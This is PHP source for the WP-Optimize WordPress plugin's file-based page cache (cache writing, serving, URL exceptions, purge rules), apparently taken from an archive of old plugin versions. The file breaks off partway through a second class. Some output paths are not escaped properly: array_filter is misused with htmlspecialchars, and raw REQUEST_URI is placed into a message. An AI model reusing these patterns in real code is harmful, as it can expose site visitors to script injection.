		$no_cache_because[] = __('WP-O cache parent directory was not found', 'wp-optimize').' ('.WPO_CACHE_DIR.')';
	} elseif (!file_exists(WPO_CACHE_FILES_DIR)) {
		// Try creating a folder for cached files, if it was flushed recently
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			$no_cache_because[] = __('WP-O cache directory was not found', 'wp-optimize').' ('.WPO_CACHE_FILES_DIR.')';
		} else {
			wpo_disable_cache_directories_viewing();
		}
	}

	// If comments are opened and the user has saved his information
	if (function_exists('comments_open') && comments_open()) {
		$commenter = wp_get_current_commenter();
		// if any of the fields contain something, do not save to cache
		if ('' != $commenter['comment_author'] || '' != $commenter['comment_author_email'] || '' != $commenter['comment_author_url']) {
			$no_cache_because[] = __('Comments are opened and the visitor saved his information.', 'wp-optimize');
		}
	}

	$can_cache_page = (defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) ? false : true;

	/**
	 * Defines if the page can be cached or not
	 *
	 * @param boolean $can_cache_page
	 */
	$can_cache_page = apply_filters('wpo_can_cache_page', $can_cache_page);

	if (!$can_cache_page) {
		$no_cache_because[] = __('DONOTCACHEPAGE constant or wpo_can_cache_page filter forbade it', 'wp-optimize');
	}

	if (defined('REST_REQUEST') && REST_REQUEST) {
		$no_cache_because[] = __('This is a REST API request (identified by REST_REQUEST constant)', 'wp-optimize');
	}

	if (empty($no_cache_because)) {

		$buffer = apply_filters('wpo_pre_cache_buffer', $buffer, $flags);

		$url_path = wpo_get_url_path();

		$dirs = explode('/', $url_path);

		$path = WPO_CACHE_FILES_DIR;

		foreach ($dirs as $dir) {
			if (!empty($dir)) {
				$path .= '/' . $dir;

				if (!file_exists($path)) {
					if (!mkdir($path)) {
						$no_cache_because[] = __('Attempt to create subfolder within cache directory failed', 'wp-optimize')." ($path)";
						break;
					}
				}
			}
		}
	}

	if (!empty($no_cache_because)) {
	
		// Only output if the user has turned on debugging output
		if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON) && (!defined('REST_REQUEST') || !REST_REQUEST)) {
			$buffer .= "\n<!-- WP Optimize page cache - https://getwpo.com - page NOT cached because: ".implode(', ', array_filter($no_cache_because, 'htmlspecialchars'))." -->\n";
		}
		
		return $buffer;
	
	} else {
	
		// Prevent mixed content when there's an http request but the site URL uses https.
		$home_url = get_home_url();

		if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
			$https_home_url = $home_url;
			$http_home_url = str_ireplace('https://', 'http://', $https_home_url);
			$buffer = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
		}

		$modified_time = time(); // Take this as soon before writing as possible

		$add_to_footer = '';
		
		/**
		 * Filter wether to display the html comment <!-- Cached by WP-Optimize ... -->
		 *
		 * @param boolean $show - Wether to display the html comment
		 * @return boolean
		 */
		if (preg_match('#</html>#i', $buffer) && (apply_filters('wpo_cache_show_cached_by_comment', true) || (defined('WP_DEBUG') && WP_DEBUG))) {
			if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - for mobile devices - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			} else {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			}
		}

		// Create an empty index.php file in the cache directory for disable directory viewing.
		if (!is_file($path . '/index.php')) file_put_contents($path . '/index.php', '');

		/**
		 * Save $buffer into cache file.
		 */
		$cache_filename = wpo_cache_filename();
		$cache_file = $path . '/' .$cache_filename;

		// if we can then cache gzipped content in .gz file.
		if (function_exists('gzencode')) {
			// Only replace inside the addition, not inside the main buffer (e.g. post content)
			file_put_contents($cache_file . '.gz', gzencode($buffer.str_replace('by WP-Optimize', 'by WP-Optimize (gzip)', $add_to_footer), apply_filters('wpo_cache_gzip_level', 6)));
		}

		file_put_contents($cache_file, $buffer.$add_to_footer);

		// delete cached information about cache size.
		WP_Optimize()->get_page_cache()->delete_cache_size_information();

		header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');

		if (wpo_cache_can_output_gzip_content()) {
		
			if (!wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip')) {
				header('Content-Encoding: gzip');
			}
		
			// disable php gzip to avoid double compression.
			ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set

			return ob_gzhandler($buffer, $flags);
		} else {
			return $buffer;
		}
	}
}
endif;

/**
 * Load files for support plugins.
 */
if (!function_exists('wpo_cache_load_extensions')) :
function wpo_cache_load_extensions() {
	$extensions = glob(WPO_CACHE_EXT_DIR . '/*.php');

	// Add external extensions
	if (defined('WPO_CACHE_CUSTOM_EXT_DIR') && is_dir(WPO_CACHE_CUSTOM_EXT_DIR)) {
		$extensions = array_merge($extensions, glob(WPO_CACHE_CUSTOM_EXT_DIR . '/*.php'));
	}

	if (empty($extensions)) return;

	foreach ($extensions as $extension) {
		if (is_file($extension)) require_once $extension;
	}
}
endif;

if (!function_exists('wpo_restricted_cache_page_type')) {
function wpo_restricted_cache_page_type($restricted) {
	global $post;

	// Don't cache search or password protected.
	if ((function_exists('is_search') && is_search()) || (function_exists('is_404') && is_404()) || !empty($post->post_password)) {
		$restricted = __('Page type is not cacheable (search, 404 or password-protected)', 'wp-optimize');
	}

	// Don't cache the front page if option is set.
	if (in_array('/', wpo_get_url_exceptions()) && function_exists('is_front_page') && is_front_page()) {

		$restricted = __('In the settings, caching is disabled for the front page', 'wp-optimize');
	}

	// Don't cache htacesss. Remember to properly escape any output to prevent injection.
	if (strpos($_SERVER['REQUEST_URI'], '.htaccess') !== false) {
		$restricted = 'The file path is unsuitable for caching ('.$_SERVER['REQUEST_URI'].')';
	}

	return $restricted;
}
}

/**
 * Get filename for store cache, depending on gzip, mobile and cookie settings.
 *
 * @param string $ext
 * @return string
 */
if (!function_exists('wpo_cache_filename')) :
function wpo_cache_filename($ext = '.html') {
	$filename = 'index';

	if (wpo_cache_mobile_caching_enabled() && wpo_is_mobile()) {
		$filename = 'mobile.' . $filename;
	}

	$cookies = wpo_cache_cookies();

	$cache_key = '';

	/**
	 * Add cookie values to filename if need.
	 * This section was inspired by things learned from WP-Rocket.
	 */
	if (!empty($cookies)) {
		foreach ($cookies as $key => $cookie_name) {
			if (is_array($cookie_name) && isset($_COOKIE[$key])) {
				foreach ($cookie_name as $cookie_key) {
					if (isset($_COOKIE[$key][$cookie_key]) && '' !== $_COOKIE[$key][$cookie_key]) {
						$_cache_key = $cookie_key.'='.$_COOKIE[$key][$cookie_key];
						$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
						$cache_key .= '-' . $_cache_key;
					}
				}
				continue;
			}

			if (isset($_COOKIE[$cookie_name]) && '' !== $_COOKIE[$cookie_name]) {
				$_cache_key = $cookie_name.'='.$_COOKIE[$cookie_name];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	$query_variables = wpo_cache_query_variables();

	/**
	 * Add GET variables to cache file name if need.
	 */
	if (!empty($query_variables)) {
		foreach ($query_variables as $variable) {
			if (isset($_GET[$variable]) && !empty($_GET[$variable])) {
				$_cache_key = $variable.'='.$_GET[$variable];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
			}
		}
	}

	// add hash of queried cookies and variables to cache file name.
	if ('' !== $cache_key) {
		$filename .= '-' . md5($cache_key);
	}

	return $filename . $ext;
}
endif;

/**
 * Returns site url from site_url() function or if it is not available from cache configuration.
 */
if (!function_exists('wpo_site_url')) :
function wpo_site_url() {
	if (is_callable('site_url')) return site_url('/');

	$site_url = empty($GLOBALS['wpo_cache_config']['site_url']) ? '' : $GLOBALS['wpo_cache_config']['site_url'];
	return $site_url;
}
endif;

/**
 * Get cookie names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_cookies')) :
function wpo_cache_cookies() {
	$cookies = empty($GLOBALS['wpo_cache_config']['wpo_cache_cookies']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_cookies'];
	return $cookies;
}
endif;

/**
 * Get GET variable names which impact on cache file name.
 *
 * @return array
 */
if (!function_exists('wpo_cache_query_variables')) :
function wpo_cache_query_variables() {
	if (defined('WPO_CACHE_URL_PARAMS') && WPO_CACHE_URL_PARAMS) {
		$variables = array_keys($_GET);
	} else {
		$variables = empty($GLOBALS['wpo_cache_config']['wpo_cache_query_variables']) ? array() : $GLOBALS['wpo_cache_config']['wpo_cache_query_variables'];
	}

	if (!empty($variables)) {
		sort($variables);
	}

	return wpo_cache_maybe_ignore_query_variables($variables);
}
endif;

/**
 * Get list of all received HTTP headers.
 *
 * @return array
 */
if (!function_exists('wpo_get_http_headers')) :
function wpo_get_http_headers() {

	static $headers;

	if (!empty($headers)) return $headers;

	$headers = array();

	// if is apache server then use get allheaders() function.
	if (function_exists('getallheaders')) {
		$headers = getallheaders();
	} else {
		// https://www.php.net/manual/en/function.getallheaders.php
		foreach ($_SERVER as $key => $value) {

			$key = strtolower($key);

			if ('HTTP_' == substr($key, 0, 5)) {
				$headers[str_replace(' ', '-', ucwords(str_replace('_', ' ', substr($key, 5))))] = $value;
			} elseif ('content_type' == $key) {
				$headers["Content-Type"] = $value;
			} elseif ('content_length' == $key) {
				$headers["Content-Length"] = $value;
			}
		}
	}

	return $headers;
}
endif;

/**
 * Check if requested Accept-Encoding headers has gzip value.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_gzip_accepted')) :
function wpo_cache_gzip_accepted() {
	$headers = wpo_get_http_headers();

	if (isset($headers['Accept-Encoding']) && preg_match('/gzip/i', $headers['Accept-Encoding'])) return true;

	return false;
}
endif;

/**
 * Check if we can output gzip content in current answer, i.e. check Accept-Encoding headers has gzip value
 * and function ob_gzhandler is available.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_can_output_gzip_content')) :
function wpo_cache_can_output_gzip_content() {
	return wpo_cache_gzip_accepted() && function_exists('ob_gzhandler');
}
endif;

/**
 * Check if header with certain name exists in already prepared headers and has value comparable with $header_value.
 *
 * @param string $header_name  header name
 * @param string $header_value header value as regexp.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_is_in_response_headers_list')) :
function wpo_cache_is_in_response_headers_list($header_name, $header_value) {
	$headers_list = headers_list();

	if (!empty($headers_list)) {
		$header_name = strtolower($header_name);

		foreach ($headers_list as $value) {
			$value = explode(':', $value);

			if (strtolower($value[0]) == $header_name) {
				if (preg_match('/'.$header_value.'/', $value[1])) {
					return true;
				} else {
					return false;
				}
			}
		}
	}

	return false;
}
endif;

/**
 * Check if mobile cache is enabled and current request is from moblile device.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_mobile_caching_enabled')) :
function wpo_cache_mobile_caching_enabled() {
	if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching'])) return true;
	return false;
}
endif;

/**
 * Serves the cache and exits
 */
if (!function_exists('wpo_serve_cache')) :
function wpo_serve_cache() {

	$file_name = wpo_cache_filename();

	$path = WPO_CACHE_FILES_DIR . '/' . wpo_get_url_path() . '/' . $file_name;

	$use_gzip = false;

	// if we can use gzip and gzipped file exist in cache we use it.
	// if headers already sent we don't use gzipped file content.
	if (!headers_sent() && wpo_cache_gzip_accepted() && file_exists($path . '.gz')) {
		$path .= '.gz';
		$use_gzip = true;
	}

	$modified_time = file_exists($path) ? (int) filemtime($path) : time();

	// Cache has expired, purge and exit.
	if (!empty($GLOBALS['wpo_cache_config']['page_cache_length'])) {
		if (time() > ($GLOBALS['wpo_cache_config']['page_cache_length'] + $modified_time)) {
			wpo_delete_files($path);
			return;
		}
	}

	// disable zlib output compression to avoid double content compression.
	if ($use_gzip) {
		ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set
	}

	$gzip_header_already_sent = wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip');

	header('Cache-Control: no-cache'); // Check back later

	if (!empty($modified_time) && !empty($_SERVER['HTTP_IF_MODIFIED_SINCE']) && strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) === $modified_time) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		header($_SERVER['SERVER_PROTOCOL'] . ' 304 Not Modified', true, 304);
		exit;
	}

	if (file_exists($path) && is_readable($path)) {
		if ($use_gzip && !$gzip_header_already_sent) {
			header('Content-Encoding: gzip');
		}

		// send correct headers for xml and txt files
		$filename = basename(dirname($path));

		if (preg_match('/\.xml$/i', $filename)) {
			header('Content-type: text/xml');
		}

		if (preg_match('/\.txt$/i', $filename)) {
			header('Content-type: text/plain');
		}

		readfile($path);

		exit;
	}
}
endif;

/**
 * Clears the cache
 */
if (!function_exists('wpo_cache_flush')) :
function wpo_cache_flush() {

	if (defined('WPO_CACHE_FILES_DIR') && '' != WPO_CACHE_FILES_DIR) wpo_delete_files(WPO_CACHE_FILES_DIR);

	if (function_exists('wp_cache_flush')) {
		wp_cache_flush();
	}

	do_action('wpo_cache_flush');
}
endif;

/**
 * Get URL path for caching
 *
 * @since  1.0
 * @return string
 */
if (!function_exists('wpo_get_url_path')) :
function wpo_get_url_path($url = '') {
	$url = '' == $url ? wpo_current_url() : $url;
	$url_parts = parse_url($url);

	if (!isset($url_parts['host'])) $url_parts['host'] = '';
	if (!isset($url_parts['path'])) $url_parts['path'] = '';

	return $url_parts['host'].$url_parts['path'];
}
endif;

/**
 * Get requested url.
 *
 * @return string
 */
if (!function_exists('wpo_current_url')) :
function wpo_current_url() {
	// Note: We use `static $url` to save the first value we retrieve, as some plugins change $_SERVER later on in the process (e.g. Weglot).
	// Otherwise this function would return a different URL at the begining and end of the cache process.
	static $url = '';
	if ('' != $url) return $url;
	$http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
	$url = rtrim('http' . ((isset($_SERVER['HTTPS']) && ('on' == $_SERVER['HTTPS'] || 1 == $_SERVER['HTTPS']) ||
			isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && 'https' == $_SERVER['HTTP_X_FORWARDED_PROTO']) ? 's' : '' )
		. '://' . $http_host.$_SERVER['REQUEST_URI'], '/');
	return $url;
}
endif;

/**
 * Return list of url exceptions.
 *
 * @return array
 */
if (!function_exists('wpo_get_url_exceptions')) :
function wpo_get_url_exceptions() {
	static $exceptions = null;

	if (null !== $exceptions) return $exceptions;

	// if called from file-based-page-cache.php when WP loading
	// and cache settings exists then use it otherwise get settings from database.
	if (isset($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
		if (empty($GLOBALS['wpo_cache_config']['cache_exception_urls'])) {
			$exceptions = array();
		} else {
			$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_urls']) ? $GLOBALS['wpo_cache_config']['cache_exception_urls'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_urls']);
		}
	} else {
		$config = WPO_Page_Cache::instance()->config->get();

		if (is_array($config) && array_key_exists('cache_exception_urls', $config)) {
			$exceptions = $config['cache_exception_urls'];
		} else {
			$exceptions = array();
		}

		$exceptions = is_array($exceptions) ? $exceptions : preg_split('#(\n|\r)#', $exceptions);
		$exceptions = array_filter($exceptions, 'trim');
	}

	return $exceptions;
}
endif;

/**
 * Return true of exception url matches current url
 *
 * @param  string $exception Exceptions to check URL against.
 * @param  bool   $regex	 Whether to check with regex or not.
 * @return bool   true if matched, false otherwise
 */
if (!function_exists('wpo_current_url_exception_match')) :
function wpo_current_url_exception_match($exception) {

	return wpo_url_exception_match(wpo_current_url(), $exception);
}
endif;

/**
 * Check if url in exceptions list.
 *
 * @param string $url
 *
 * @return bool
 */
if (!function_exists('wpo_url_in_exceptions')) :
function wpo_url_in_exceptions($url) {
	$exceptions = wpo_get_url_exceptions();

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {

			// don't check / - front page using regexp, we handle it in wpo_restricted_cache_page_type()
			if ('/' == $exception) continue;

			if (wpo_url_exception_match($url, $exception)) {
				// Exception match.
				return true;
			}
		}
	}

	return false;
}
endif;

/**
 * Check if url string match with exception.
 *
 * @param string $url       - complete url string i.e. http(s):://domain/path
 * @param string $exception - complete url or absolute path, can consist (.*) wildcards
 *
 * @return bool
 */
if (!function_exists('wpo_url_exception_match')) :
function wpo_url_exception_match($url, $exception) {
	if (preg_match('#^[\s]*$#', $exception)) {
		return false;
	}

	$exception = str_replace('*', '.*', $exception);

	$exception = trim($exception);

	// used to test websites placed in subdirectories.
	$sub_dir = '';

	// if exception defined from root i.e. /page1 then remove domain part in url.
	if (preg_match('/^\//', $exception)) {
		// get site sub directory.
		$sub_dir = preg_replace('#^(http|https):\/\/.*\/#Ui', '', wpo_site_url());
		// add prefix slash and remove slash.
		$sub_dir = ('' == $sub_dir) ? '' : '/' . rtrim($sub_dir, '/');
		// get relative path
		$url = preg_replace('#^(http|https):\/\/.*\/#Ui', '/', $url);
	}

	$url = rtrim($url, '/') . '/';
	$exception = rtrim($exception, '/');

	// if we have no wildcat in the end of exception then add slash.
	if (!preg_match('#\(\.\*\)$#', $exception)) $exception .= '/';

	$exception = str_replace('/', '\/', $exception);

	return preg_match('#^'.$exception.'$#i', $url) || preg_match('#^'.$sub_dir.$exception.'$#i', $url);
}
endif;

/**
 * Checks if its a mobile device
 *
 * @see https://developer.wordpress.org/reference/functions/wp_is_mobile/
 */
if (!function_exists('wpo_is_mobile')) :
function wpo_is_mobile() {
	if (empty($_SERVER['HTTP_USER_AGENT'])) {
		$is_mobile = false;
	// many mobile devices (all iPhone, iPad, etc.)
	} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Mobile') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Android') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Silk/') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Kindle') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'BlackBerry') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mini') !== false
		|| strpos($_SERVER['HTTP_USER_AGENT'], 'Opera Mobi') !== false
	) {
		$is_mobile = true;
	} else {
		$is_mobile = false;
	}

	return $is_mobile;
}
endif;

/**
 * Check if current browser agent is not disabled in options.
 *
 * @return bool
 */
if (!function_exists('wpo_is_accepted_user_agent')) :
function wpo_is_accepted_user_agent($user_agent) {

	$exceptions = is_array($GLOBALS['wpo_cache_config']['cache_exception_browser_agents']) ? $GLOBALS['wpo_cache_config']['cache_exception_browser_agents'] : preg_split('#(\n|\r)#', $GLOBALS['wpo_cache_config']['cache_exception_browser_agents']);

	if (!empty($exceptions)) {
		foreach ($exceptions as $exception) {
			if ('' == trim($exception)) continue;

			if (preg_match('#'.$exception.'#i', $user_agent)) return false;
		}
	}

	return true;
}
endif;

/**
 * Delete function that deals with directories recursively
 *
 * @param string  $src       Path of the folder
 * @param boolean $recursive If $src is a folder, recursively delete the inner folders. If set to false, only the files will be deleted.
 *
 * @return bool
 */
if (!function_exists('wpo_delete_files')) :
function wpo_delete_files($src, $recursive = true) {
	if (!file_exists($src) || '' == $src || '/' == $src) {
		return true;
	}

	if (is_file($src)) {
		return unlink($src);
	}

	$success = true;
	$has_dir = false;

	if ($recursive) {
		// N.B. If opendir() fails, then a false positive (i.e. true) will be returned
		if (false !== ($dir = opendir($src))) {
			$file = readdir($dir);
			while (false !== $file) {
				if ('.' == $file || '..' == $file) {
					$file = readdir($dir);
					continue;
				}
				if (is_dir($src . '/' . $file)) {
					if (!wpo_delete_files($src . '/' . $file)) {
						$success = false;
					}
				} else {
					if (!unlink($src . '/' . $file)) {
						$success = false;
					}
				}

				$file = readdir($dir);
			}
			closedir($dir);
		}
	} else {
		// Not recursive, so we only delete the files
		$files = scandir($src);
		foreach ($files as $file) {
			if ('.' == $file || '..' == $file) continue;

			if (is_dir($src . '/' . $file)) {
				$has_dir = true;
				continue;
			}

			if (!unlink($src . '/' . $file)) {
				$success = false;
			}
		}
	}

	if ($success && !$has_dir) {
		// Success of this operation is not recorded; we only ultimately care about emptying, not removing entirely (empty folders in our context are harmless)
		rmdir($src);
	}

	// delete cached information about cache size.
	WP_Optimize()->get_page_cache()->delete_cache_size_information();

	return $success;
}
endif;

/**
 * Either store for later output, or output now. Only the most-recent call will be effective.
 *
 * @param String|Null $output - if not null, then the string to use when called by the shutdown action.
 */
if (!function_exists('wpo_cache_add_footer_output')) :
function wpo_cache_add_footer_output($output = null) {

	static $buffered = null;

	if (function_exists('current_filter') && 'shutdown' == current_filter()) {
		// Only add the line if it was a page, not something else (e.g. REST response)
		if (function_exists('did_action') && did_action('wp_footer')) {
			echo "\n<!-- WP Optimize page cache - https://getwpo.com - ".$buffered." -->\n";
		} elseif (defined('WPO_CACHE_DEBUG') && WPO_CACHE_DEBUG) {
			error_log('[CACHE DEBUG] '.wpo_current_url() . ' - ' . $buffered);
		}
	} else {
		if (null == $buffered && function_exists('add_action')) add_action('shutdown', 'wpo_cache_add_footer_output', 11);
		$buffered = $output;
	}

}
endif;

/**
 * Remove variable names that shouldn't influence cache.
 *
 * @param array $variables List of variable names.
 *
 * @return array
 */
if (!function_exists('wpo_cache_maybe_ignore_query_variables')) :
function wpo_cache_maybe_ignore_query_variables($variables) {

	/**
	 * Filters the current $_GET variables that will be used when caching or excluding from cache.
	 * Currently:
	 * - 'wpo_cache_debug' (Shows the reason for not being cached even when WP_DEBUG isn't set)
	 * - 'doing_wp_cron' (alternative cron)
	 * - 'aiosp_sitemap_path', 'aiosp_sitemap_page' (All in one SEO sitemap)
	 * - 'xml_sitemap', 'seopress_sitemap', 'seopress_news', 'seopress_video', 'seopress_cpt', 'seopress_paged' (SEOPress sitemap)
	 * - 'sitemap', 'sitemap_n' (YOAST SEO sitemap)
	 */
	$exclude_variables = array(
		'wpo_cache_debug',    // Shows the reason for not being cached even when WP_DEBUG isn't set
		'doing_wp_cron',      // alternative cron
		'aiosp_sitemap_path', // All in one SEO sitemap
		'aiosp_sitemap_page',
		'xml_sitemap',        // SEOPress sitemap
		'seopress_sitemap',
		'seopress_news',
		'seopress_video',
		'seopress_cpt',
		'seopress_paged',
		'sitemap',            // YOAST SEO sitemap
		'sitemap_n',
	);
	$exclude_variables = function_exists('apply_filters') ? apply_filters('wpo_cache_ignore_query_variables', $exclude_variables) : $exclude_variables;

	if (empty($exclude_variables)) return $variables;

	foreach ($exclude_variables as $variable) {
		$exclude = array_search($variable, $variables);
		if (false !== $exclude) {
			array_splice($variables, $exclude, 1);
		}
	}

	return $variables;
}
endif;

/**
 * Get cache config
 *
 * @param string $key     - The config item
 * @param mixed  $default - The default value
 *
 * @return mixed
 */
if (!function_exists('wpo_cache_config_get')) :
function wpo_cache_config_get($key, $default = false) {
	$config = $GLOBALS['wpo_cache_config'];

	if (!$config) return false;

	if (isset($config[$key])) {
		return $config[$key];
	} else {
		return $default;
	}
}
endif;

if (!function_exists('wpo_disable_cache_directories_viewing')) :
function wpo_disable_cache_directories_viewing() {
	global $is_apache, $is_IIS, $is_iis7;

	if (!is_dir(WPO_CACHE_FILES_DIR)) return;

	// Create .htaccess file for apache server.
	if ($is_apache) {
		$htaccess_filename = WPO_CACHE_FILES_DIR . '/.htaccess';

		// CS does not like heredoc
		// phpcs:disable
		$htaccess_content = <<<EOF
# Disable directory browsing 
Options -Indexes

# Disable access to any files
<FilesMatch ".*">
	Order allow,deny
	Deny from all
</FilesMatch>		
EOF;
		// phpcs:enable

		if (!is_file($htaccess_filename)) @file_put_contents($htaccess_filename, $htaccess_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create web.config file for IIS servers.
	if ($is_IIS || $is_iis7) {
		$webconfig_filename = WPO_CACHE_FILES_DIR . '/web.config';
		$webconfig_content = "<configuration>\n<system.webServer>\n<authorization>\n<deny users=\"*\" />\n</authorization>\n</system.webServer>\n</configuration>\n";

		if (!is_file($webconfig_filename)) @file_put_contents($webconfig_filename, $webconfig_content); // phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
	}

	// Create empty index.php file for all servers.
	if (!is_file(WPO_CACHE_FILES_DIR . '/index.php')) @file_put_contents(WPO_CACHE_FILES_DIR . '/index.php', '');// phpcs:ignore Generic.PHP.NoSilencedErrors.Discouraged
}
endif;
cms/wordpress/wp-optimize-versions/wp-optimize.3.0/wp-optimize/cache/class-wpo-cache-rules.php000644 000000 000000 00000017611 13637401250 033054 0ustar00rootwheel000000 000000 <?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Page caching rules and exceptions
 */

if (!class_exists('WPO_Cache_Config')) require_once('class-wpo-cache-config.php');

require_once dirname(__FILE__) . '/file-based-page-cache-functions.php';

if (!class_exists('WPO_Cache_Rules')) :

class WPO_Cache_Rules {

	/**
	 * Cache config object
	 *
	 * @var mixed
	 */
	public $config;

	/**
	 * Instance of this class
	 *
	 * @var mixed
	 */
	public static $instance;

	public function __construct() {
		$this->config = WPO_Cache_Config::instance()->get();
		$this->setup_hooks();
	}

	/**
	 * Setup hooks/filters
	 */
	public function setup_hooks() {
		add_action('save_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('save_post', array($this, 'purge_archive_pages_on_post_update'), 10, 1);
		add_action('wp_trash_post', array($this, 'purge_post_on_update'), 10, 1);
		add_action('comment_post', array($this, 'purge_post_on_comment'), 10, 3);
		add_action('wp_set_comment_status', array($this, 'purge_post_on_comment_status_change'), 10, 1);
		add_action('edit_terms', array($this, 'purge_related_elements_on_term_updated'), 10, 2);
		add_action('set_object_terms', array($this, 'purge_related_elements_on_post_terms_change'), 10, 6);
		add_action('wpo_cache_config_updated', array($this, 'cache_config_updated'), 10, 1);

		/**
		 * List of hooks for which when executed, the cache will be purged
		 *
		 * @param array $actions The actions
		 */
		$purge_on_action = apply_filters('wpo_purge_cache_hooks', array('after_switch_theme', 'wp_update_nav_menu', 'customize_save_after', array('wp_ajax_save-widget', 0), array('wp_ajax_update-widget', 0), 'autoptimize_action_cachepurged'));
		foreach ($purge_on_action as $action) {
			if (is_array($action)) {
				add_action($action[0], array($this, 'purge_cache'), $action[1]);
			} else {
				add_action($action, array($this, 'purge_cache'));
			}
		}
	}

	/**
	 * Purge post cache when there is a new approved comment
	 *
	 * @param  int        $comment_id  Comment ID.
	 * @param  int|string $approved    Comment approved status. can be 0, 1 or 'spam'.
	 * @param  array      $commentdata Comment data array. Always sent be WP core, but a plugin was found that does not send it - https://wordpress.org/support/topic/critical-problems-with-version-3-0-10/
	 */
	public function purge_post_on_comment($comment_id, $approved, $commentdata = array()) {
		if (1 !== $approved) {
			return;
		}

		if (!empty($this->config['enable_page_caching']) && !empty($commentdata['comment_post_ID'])) {
			$post_id = $commentdata['comment_post_ID'];

			WPO_Page_Cache::delete_single_post_cache($post_id);
		}
	}

	/**
	 * Every time a comment's status changes, purge it's parent posts cache
	 *
	 * @param int $comment_id Comment ID.
	 */
	public function purge_post_on_comment_status_change($comment_id) {
		if (!empty($this->config['enable_page_caching'])) {
			$comment = get_comment($comment_id);
			if (is_object($comment) && !empty($comment->comment_post_ID)) WPO_Page_Cache::delete_single_post_cache($comment->comment_post_ID);
		}
	}

	/**
	 * Automatically purge all file based page cache on post changes
	 * We want the whole cache purged here as different parts
	 * of the site could potentially change on post updates
	 *
	 * @param Integer $post_id - WP post id
	 */
	public function purge_post_on_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		/**
		 * Purge the whole cache if set to true, only the edited post otherwise. Default is false.
		 *
		 * @param boolean $purge_all_cache The default filter value
		 * @param integer $post_id         The saved post ID
		 */
		if (apply_filters('wpo_purge_all_cache_on_update', false, $post_id)) {
			$this->purge_cache();
			return;
		} else {
			if (apply_filters('wpo_delete_cached_homepage_on_post_update', true, $post_id)) WPO_Page_Cache::delete_homepage_cache();
			WPO_Page_Cache::delete_single_post_cache($post_id);
		}
	}

	/**
	 * Purge archive pages on post update.
	 *
	 * @param integer $post_id
	 */
	public function purge_archive_pages_on_post_update($post_id) {
		$post_type = get_post_type($post_id);

		if ((defined('DOING_AUTOSAVE') && DOING_AUTOSAVE) || 'revision' === $post_type) {
			return;
		}

		$post_obj = get_post_type_object($post_type);

		if ('post' == $post_type) {
			// delete all archive pages for post.
			$post_date = get_post_time('Y-m-j', false, $post_id);
			list($year, $month, $day) = $post_date;

			$archive_links = array(
				get_year_link($year),
				get_month_link($year, $month),
				get_day_link($year, $month, $day),
			);

			foreach ($archive_links as $link) {
				WPO_Page_Cache::delete_cache_by_url($link, true);
			}
		} elseif ($post_obj->has_archive) {
			// delete archive page for custom post type.
			WPO_Page_Cache::delete_cache_by_url(get_post_type_archive_link($post_type), true);
		}

	}

	/**
	 * We use it with edit_terms action filter to purge cached elements related
	 * to updated term when term updated.
	 *
	 * @param int    $term_id  Term taxonomy ID.
	 * @param string $taxonomy Taxonomy slug.
	 */
	public function purge_related_elements_on_term_updated($term_id, $taxonomy) {
		// purge cached page for term.
		$term = get_term($term_id, $taxonomy, ARRAY_A);
		if (is_array($term)) {
			$term_permalink = get_term_link($term['term_id']);
			if (!is_wp_error($term_permalink)) {
				WPO_Page_Cache::delete_cache_by_url($term_permalink, true);
			}
		}

		// get posts which belongs to updated term.
